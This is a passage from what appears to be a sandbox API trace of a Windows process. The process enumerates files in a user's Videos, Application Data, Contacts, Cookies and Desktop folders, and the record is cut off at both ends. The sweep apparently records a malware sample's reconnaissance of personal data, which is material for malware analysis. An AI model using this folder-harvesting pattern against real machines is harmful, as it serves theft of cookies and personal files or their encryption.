lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccbcaef0, ftCreationTime.dwHighDateTime=0x1d99791, ftLastAccessTime.dwLowDateTime=0xf7c4bc80, ftLastAccessTime.dwHighDateTime=0x1d99aa4, ftLastWriteTime.dwLowDateTime=0xf7c4bc80, ftLastWriteTime.dwHighDateTime=0x1d99aa4, nFileSizeHigh=0x0, nFileSizeLow=0x16826, dwReserved0=0x0, dwReserved1=0x0, cFileName="bi_f3xiV9GbQjAoS-qW.avi", cAlternateFileName="BI_F3X~1.AVI")) returned 1 [0220.714] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d99e20, ftCreationTime.dwHighDateTime=0x1d99938, ftLastAccessTime.dwLowDateTime=0x6b021930, ftLastAccessTime.dwHighDateTime=0x1d99b32, ftLastWriteTime.dwLowDateTime=0x6b021930, ftLastWriteTime.dwHighDateTime=0x1d99b32, nFileSizeHigh=0x0, nFileSizeLow=0xf7d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eYcp5BhdC3.flv", cAlternateFileName="EYCP5B~1.FLV")) returned 1 [0220.714] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8c87f00, ftCreationTime.dwHighDateTime=0x1d990e1, ftLastAccessTime.dwLowDateTime=0x33c4a7c0, ftLastAccessTime.dwHighDateTime=0x1d9911f, ftLastWriteTime.dwLowDateTime=0x33c4a7c0, ftLastWriteTime.dwHighDateTime=0x1d9911f, nFileSizeHigh=0x0, nFileSizeLow=0x13b75, dwReserved0=0x0, dwReserved1=0x0, cFileName="HRCxQO 2r0EIIg.flv", cAlternateFileName="HRCXQO~1.FLV")) returned 1 [0220.714] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55348d60, ftCreationTime.dwHighDateTime=0x1d9921b, ftLastAccessTime.dwLowDateTime=0x7c446e00, ftLastAccessTime.dwHighDateTime=0x1d99326, ftLastWriteTime.dwLowDateTime=0x7c446e00, ftLastWriteTime.dwHighDateTime=0x1d99326, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Is6fBv3V8.mkv", cAlternateFileName="IS6FBV~1.MKV")) returned 1 [0220.714] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3e13260, ftCreationTime.dwHighDateTime=0x1d9959d, ftLastAccessTime.dwLowDateTime=0xddab6010, ftLastAccessTime.dwHighDateTime=0x1d99789, ftLastWriteTime.dwLowDateTime=0xddab6010, ftLastWriteTime.dwHighDateTime=0x1d99789, nFileSizeHigh=0x0, nFileSizeLow=0x4b71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MwgrNQzxYD.swf", cAlternateFileName="MWGRNQ~1.SWF")) returned 1 [0220.715] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81333b70, ftCreationTime.dwHighDateTime=0x1d99377, ftLastAccessTime.dwLowDateTime=0x38340190, ftLastAccessTime.dwHighDateTime=0x1d9973a, ftLastWriteTime.dwLowDateTime=0x38340190, ftLastWriteTime.dwHighDateTime=0x1d9973a, nFileSizeHigh=0x0, nFileSizeLow=0x6d96, dwReserved0=0x0, dwReserved1=0x0, cFileName="oJXI7dittugIm9.mp4", cAlternateFileName="OJXI7D~1.MP4")) returned 1 [0220.715] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d957a0, ftCreationTime.dwHighDateTime=0x1d997a0, ftLastAccessTime.dwLowDateTime=0x16fed910, ftLastAccessTime.dwHighDateTime=0x1d99a72, ftLastWriteTime.dwLowDateTime=0x16fed910, ftLastWriteTime.dwHighDateTime=0x1d99a72, nFileSizeHigh=0x0, nFileSizeLow=0x89dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="sDcOrFj_YPs.avi", cAlternateFileName="SDCORF~1.AVI")) returned 1 [0220.715] FindNextFileW (in: hFindFile=0x1d1f53b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.715] FindClose (in: hFindFile=0x1d1f53b0 | out: hFindFile=0x1d1f53b0) returned 1 [0220.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0220.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0220.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.715] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Videos\\Us7z3QC0Av1M", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Videos\\Us7z3QC0Av1M", lpFilePart=0x0) returned 0x29 [0220.715] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Videos\\Us7z3QC0Av1M\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\videos\\us7z3qc0av1m\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6fa5ee0, ftCreationTime.dwHighDateTime=0x1d99a1a, ftLastAccessTime.dwLowDateTime=0x1a6d65a0, ftLastAccessTime.dwHighDateTime=0x1d99c64, ftLastWriteTime.dwLowDateTime=0x1a6d65a0, ftLastWriteTime.dwHighDateTime=0x1d99c64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f47b0 [0220.716] FindNextFileW (in: hFindFile=0x1d1f47b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6fa5ee0, ftCreationTime.dwHighDateTime=0x1d99a1a, ftLastAccessTime.dwLowDateTime=0x1a6d65a0, ftLastAccessTime.dwHighDateTime=0x1d99c64, ftLastWriteTime.dwLowDateTime=0x1a6d65a0, ftLastWriteTime.dwHighDateTime=0x1d99c64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.716] FindNextFileW (in: hFindFile=0x1d1f47b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x186ac0d0, ftCreationTime.dwHighDateTime=0x1d99c01, ftLastAccessTime.dwLowDateTime=0xebefea40, ftLastAccessTime.dwHighDateTime=0x1d99cdb, ftLastWriteTime.dwLowDateTime=0xebefea40, ftLastWriteTime.dwHighDateTime=0x1d99cdb, nFileSizeHigh=0x0, nFileSizeLow=0x17d9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="-nXdHAE25r_-Tfcf9.mp4", cAlternateFileName="-NXDHA~1.MP4")) returned 1 [0220.716] FindNextFileW (in: hFindFile=0x1d1f47b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc1d1b10, ftCreationTime.dwHighDateTime=0x1d9989e, ftLastAccessTime.dwLowDateTime=0x994e9c60, ftLastAccessTime.dwHighDateTime=0x1d99c21, ftLastWriteTime.dwLowDateTime=0x994e9c60, ftLastWriteTime.dwHighDateTime=0x1d99c21, nFileSizeHigh=0x0, nFileSizeLow=0x2372, dwReserved0=0x0, dwReserved1=0x0, cFileName="6xNaBim0.avi", cAlternateFileName="")) returned 1 [0220.716] FindNextFileW (in: hFindFile=0x1d1f47b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa94f2790, ftCreationTime.dwHighDateTime=0x1d98f21, ftLastAccessTime.dwLowDateTime=0x3722ce90, ftLastAccessTime.dwHighDateTime=0x1d9949b, ftLastWriteTime.dwLowDateTime=0x3722ce90, ftLastWriteTime.dwHighDateTime=0x1d9949b, nFileSizeHigh=0x0, nFileSizeLow=0x187c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="7DLlmj_jhLu3.flv", cAlternateFileName="7DLLMJ~1.FLV")) returned 1 [0220.717] FindNextFileW (in: hFindFile=0x1d1f47b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c409db0, ftCreationTime.dwHighDateTime=0x1d99769, ftLastAccessTime.dwLowDateTime=0x7044c000, ftLastAccessTime.dwHighDateTime=0x1d99772, ftLastWriteTime.dwLowDateTime=0x7044c000, ftLastWriteTime.dwHighDateTime=0x1d99772, nFileSizeHigh=0x0, nFileSizeLow=0xf8f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="9p3teRyxhpyYaTpta.mkv", cAlternateFileName="9P3TER~1.MKV")) returned 1 [0220.717] FindNextFileW (in: hFindFile=0x1d1f47b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccbcaef0, ftCreationTime.dwHighDateTime=0x1d99791, ftLastAccessTime.dwLowDateTime=0xf7c4bc80, ftLastAccessTime.dwHighDateTime=0x1d99aa4, ftLastWriteTime.dwLowDateTime=0xf7c4bc80, ftLastWriteTime.dwHighDateTime=0x1d99aa4, nFileSizeHigh=0x0, nFileSizeLow=0x16826, dwReserved0=0x0, dwReserved1=0x0, cFileName="bi_f3xiV9GbQjAoS-qW.avi", cAlternateFileName="BI_F3X~1.AVI")) returned 1 [0220.717] FindNextFileW (in: hFindFile=0x1d1f47b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d99e20, ftCreationTime.dwHighDateTime=0x1d99938, ftLastAccessTime.dwLowDateTime=0x6b021930, ftLastAccessTime.dwHighDateTime=0x1d99b32, ftLastWriteTime.dwLowDateTime=0x6b021930, ftLastWriteTime.dwHighDateTime=0x1d99b32, nFileSizeHigh=0x0, nFileSizeLow=0xf7d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eYcp5BhdC3.flv", cAlternateFileName="EYCP5B~1.FLV")) returned 1 [0220.717] FindNextFileW (in: hFindFile=0x1d1f47b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8c87f00, ftCreationTime.dwHighDateTime=0x1d990e1, ftLastAccessTime.dwLowDateTime=0x33c4a7c0, ftLastAccessTime.dwHighDateTime=0x1d9911f, ftLastWriteTime.dwLowDateTime=0x33c4a7c0, ftLastWriteTime.dwHighDateTime=0x1d9911f, nFileSizeHigh=0x0, nFileSizeLow=0x13b75, dwReserved0=0x0, dwReserved1=0x0, cFileName="HRCxQO 2r0EIIg.flv", cAlternateFileName="HRCXQO~1.FLV")) returned 1 [0220.718] FindNextFileW (in: hFindFile=0x1d1f47b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55348d60, ftCreationTime.dwHighDateTime=0x1d9921b, ftLastAccessTime.dwLowDateTime=0x7c446e00, ftLastAccessTime.dwHighDateTime=0x1d99326, ftLastWriteTime.dwLowDateTime=0x7c446e00, ftLastWriteTime.dwHighDateTime=0x1d99326, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Is6fBv3V8.mkv", cAlternateFileName="IS6FBV~1.MKV")) returned 1 [0220.718] FindNextFileW (in: hFindFile=0x1d1f47b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3e13260, ftCreationTime.dwHighDateTime=0x1d9959d, ftLastAccessTime.dwLowDateTime=0xddab6010, ftLastAccessTime.dwHighDateTime=0x1d99789, ftLastWriteTime.dwLowDateTime=0xddab6010, ftLastWriteTime.dwHighDateTime=0x1d99789, nFileSizeHigh=0x0, nFileSizeLow=0x4b71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MwgrNQzxYD.swf", cAlternateFileName="MWGRNQ~1.SWF")) returned 1 [0220.718] FindNextFileW (in: hFindFile=0x1d1f47b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81333b70, ftCreationTime.dwHighDateTime=0x1d99377, ftLastAccessTime.dwLowDateTime=0x38340190, ftLastAccessTime.dwHighDateTime=0x1d9973a, ftLastWriteTime.dwLowDateTime=0x38340190, ftLastWriteTime.dwHighDateTime=0x1d9973a, nFileSizeHigh=0x0, nFileSizeLow=0x6d96, dwReserved0=0x0, dwReserved1=0x0, cFileName="oJXI7dittugIm9.mp4", cAlternateFileName="OJXI7D~1.MP4")) returned 1 [0220.718] FindNextFileW (in: hFindFile=0x1d1f47b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d957a0, ftCreationTime.dwHighDateTime=0x1d997a0, ftLastAccessTime.dwLowDateTime=0x16fed910, ftLastAccessTime.dwHighDateTime=0x1d99a72, ftLastWriteTime.dwLowDateTime=0x16fed910, ftLastWriteTime.dwHighDateTime=0x1d99a72, nFileSizeHigh=0x0, nFileSizeLow=0x89dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="sDcOrFj_YPs.avi", cAlternateFileName="SDCORF~1.AVI")) returned 1 [0220.718] FindNextFileW (in: hFindFile=0x1d1f47b0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d957a0, ftCreationTime.dwHighDateTime=0x1d997a0, ftLastAccessTime.dwLowDateTime=0x16fed910, ftLastAccessTime.dwHighDateTime=0x1d99a72, ftLastWriteTime.dwLowDateTime=0x16fed910, ftLastWriteTime.dwHighDateTime=0x1d99a72, nFileSizeHigh=0x0, nFileSizeLow=0x89dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="sDcOrFj_YPs.avi", cAlternateFileName="SDCORF~1.AVI")) returned 0 [0220.719] FindClose (in: hFindFile=0x1d1f47b0 | out: hFindFile=0x1d1f47b0) returned 1 [0220.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0220.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0220.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0220.719] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Application Data", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Application Data", lpFilePart=0x0) returned 0x26 [0220.719] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Application Data\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\application data\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ef10) returned 1 [0220.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0220.722] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Application Data", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Application Data", lpFilePart=0x0) returned 0x26 [0220.722] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Application Data\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\application data\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ef10) returned 1 [0220.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0220.724] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Contacts", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Contacts", lpFilePart=0x0) returned 0x1e [0220.724] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Contacts\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\contacts\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435fd682, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f42d0 [0220.725] FindNextFileW (in: hFindFile=0x1d1f42d0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435fd682, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.725] FindNextFileW (in: hFindFile=0x1d1f42d0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435fd682, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0220.725] FindNextFileW (in: hFindFile=0x1d1f42d0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.725] FindClose (in: hFindFile=0x1d1f42d0 | out: hFindFile=0x1d1f42d0) returned 1 [0220.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9eea0) returned 1 [0220.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ee60) returned 1 [0220.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0220.726] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Contacts", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Contacts", lpFilePart=0x0) returned 0x1e [0220.726] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Contacts\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\contacts\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435fd682, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f40f0 [0220.726] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435fd682, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.726] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435fd682, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0220.726] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435fd682, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0220.727] FindClose (in: hFindFile=0x1d1f40f0 | out: hFindFile=0x1d1f40f0) returned 1 [0220.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9eea0) returned 1 [0220.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ee60) returned 1 [0220.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0220.727] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Cookies", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Cookies", lpFilePart=0x0) returned 0x1d [0220.727] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Cookies\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\cookies\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ef10) returned 1 [0220.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0220.730] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Cookies", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Cookies", lpFilePart=0x0) returned 0x1d [0220.730] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Cookies\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\cookies\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.730] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ef10) returned 1 [0220.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0220.733] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop", lpFilePart=0x0) returned 0x1d [0220.733] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xd7e2dd29, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xd7e2dd29, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4690 [0220.733] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xd7e2dd29, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xd7e2dd29, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.734] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe02e1e40, ftCreationTime.dwHighDateTime=0x1d98e10, ftLastAccessTime.dwLowDateTime=0x9c989b00, ftLastAccessTime.dwHighDateTime=0x1d99c94, ftLastWriteTime.dwLowDateTime=0x9c989b00, ftLastWriteTime.dwHighDateTime=0x1d99c94, nFileSizeHigh=0x0, nFileSizeLow=0x94b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="0BN4V-0Cj3duCY.m4a", cAlternateFileName="0BN4V-~1.M4A")) returned 1 [0220.734] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbe775e0, ftCreationTime.dwHighDateTime=0x1d99cee, ftLastAccessTime.dwLowDateTime=0xb15ef280, ftLastAccessTime.dwHighDateTime=0x1d99d04, ftLastWriteTime.dwLowDateTime=0xb15ef280, 